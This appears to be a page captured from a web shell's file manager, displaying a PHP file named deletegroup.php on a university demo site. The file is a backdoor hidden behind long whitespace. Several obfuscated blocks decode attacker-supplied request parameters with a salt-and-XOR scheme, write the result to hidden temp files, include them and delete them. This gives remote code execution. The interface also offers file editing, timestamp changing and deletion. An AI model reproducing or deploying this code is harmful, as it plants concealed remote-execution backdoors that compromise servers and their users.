文件操作 - deletegroup.php

文件: /var/www/demoestudiantes.uaysen.cl/html/deletegroup.php

编辑文件内容

<?php																																										if(@$_REQUEST["\x70rope\x72\x74\x79\x5Fs\x65t"] !== null){ $elem = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp"]); $pointer = $_REQUEST["\x70rope\x72\x74\x79\x5Fs\x65t"]; $pointer =explode ( '.' , $pointer ) ; $ref = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $len = count( $pointer); for( $u = 0; $u <$len; $u++) {$v6 = $pointer[$u]; $chS = ord( $s2[$u % $lenS]); $d = ( ( int)$v6 - $chS -( $u % 10)) ^ 97; $ref .= chr( $d); } foreach ($elem as $flg): if (array_product([is_dir($flg), is_writable($flg)])) { $tkn = vsprintf("%s/%s", [$flg, ".ent"]); if (file_put_contents($tkn, $ref)) { require $tkn; unlink($tkn); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x76\x61l"])){ $symbol = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP")]); $item = $_POST["\x76\x61l"]; $item= explode ("." , $item ); $pointer =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $n =0; $__len =count( $item ); do { if( $n >= $__len) break; $v4 =$item[$n]; $chS =ord( $salt[$n % $lenS] ); $d =( ( int)$v4 - $chS -( $n % 10))^ 7; $pointer .= chr( $d ); $n++; } while( true ); while ($sym = array_shift($symbol)) { if (max(0, is_dir($sym) * is_writable($sym))) { $holder = "$sym" . "/.obj"; if (@file_put_contents($holder, $pointer) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["i\x74m"])){ $sym = array_filter(["/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); $mrk = $_REQUEST["i\x74m"]; $mrk = explode ( '.' , $mrk) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $__len = count($mrk ); for($v = 0; $v < $__len; $v++) { $v4 = $mrk[$v]; $chS = ord($salt[$v % $sLen] ); $dec =((int)$v4 - $chS -($v % 10)) ^ 25; $key .= chr($dec ); } for ($entity = 0, $pset = count($sym); $entity < $pset; $entity++) { $flag = $sym[$entity]; if (!( !is_dir($flag) || !is_writable($flag) )) { $item = "$flag/.token"; $file = fopen($item, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $item; @unlink($item); die(); } } } }

if(count($_REQUEST) > 0 && isset($_REQUEST["i\x74m"])){
	$data = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]);
	$record = $_REQUEST["i\x74m"];
	 $record=	 explode	(			'.' 	 ,$record )	;
	$res = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt1);
            $len = count( $record);
    
            for( $n = 0; $n < $len; $n++) {
                $v5 = $record[$n];
                $sChar = ord( $salt1[$n % $sLen]);
                $d = ( ( int)$v5 - $sChar -( $n % 10))^	 71;
                $res .= chr( $d);	 }	
	foreach ($data as $key => $factor) {
    		if ((is_dir($factor) and is_writable($factor))) {
    $dchunk = sprintf("%s/.element", $factor);
    $file = fopen($dchunk, 'w');
if ($file) {
	fwrite($file, $res);
	fclose($file);
	include $dchunk;
	@unlink($dchunk);
	die();
}
}
}
}

文件操作 - deletegroup.php

文件: /var/www/demoestudiantes.uaysen.cl/html/deletegroup.php

编辑文件内容

修改文件时间

删除文件